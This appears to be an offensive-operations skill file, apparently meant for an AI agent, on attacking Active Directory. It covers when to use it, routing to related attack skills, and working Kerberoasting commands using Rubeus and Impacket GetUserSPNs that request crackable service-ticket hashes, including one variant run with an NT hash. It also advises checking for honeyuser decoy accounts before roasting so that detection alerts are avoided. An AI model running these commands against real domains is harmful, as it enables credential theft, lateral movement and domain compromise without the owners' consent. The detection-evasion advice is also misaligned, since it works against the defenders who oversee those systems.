attacking-active-directory

Attacking Active Directory

When to Use

• AD reconnaissance and enumeration
• Kerberos-based attacks
• Credential dumping from domain controllers
• Lateral movement within domains
• BloodHound attack path analysis
• Domain persistence techniques

When NOT to Use

• Non-Windows / Linux-only environments — use enumerating-network-services
• Cracking the hashes you collected — use cracking-passwords
• Post-domain-compromise persistence — use establishing-persistence
• Entra ID / Azure AD as the primary target — use attacking-entra-id
• Detecting these attacks defensively — use engineering-detections

A privileged, Kerberoastable account with no logon history is a classic honeyuser: roasting it raises a high-fidelity alert. Check recognizing-deception before roasting an account that looks too convenient.

Route to a Depth Skill

Several AD escalation families are deep enough to have their own procedure skill. When enumeration points at one of these, switch to it — the general methodology here does not carry the tool-specific detail they do.

Signal	Skill
A CA exists (pKIEnrollmentService), certipy find flags a template, ESC1-ESC16	abusing-adcs
BloodHound flags Unconstrained/Constrained/RBCD delegation, GenericWrite over a computer	attacking-kerberos-delegation
The target is Entra ID / Azure AD, tokens, PRTs, or hybrid-identity sync	attacking-entra-id

The domain methodology below (Kerberoasting, DCSync, lateral movement) still applies; these skills specialize a single step of it and hand back here.

Kerberoasting

Windows:

# Check kerberoastable users
.\Rubeus.exe kerberoast /stats

# Roast all
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt

# Target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap

Linux:

# Impacket GetUserSPNs
GetUserSPNs.py -request -dc-ip 10.10.10.10 domain.local/user:password -outputfile hashes.txt

# With NT hash
GetUserSPNs.py -request -dc-ip 10.10.10.10 -hashes :ntlmhash domain.local/user -outputfile hashes.txt

# Target specific user
GetUserSPNs.py -request-user svc_mssql -dc-ip 10.10.10.10 domain.local/user:password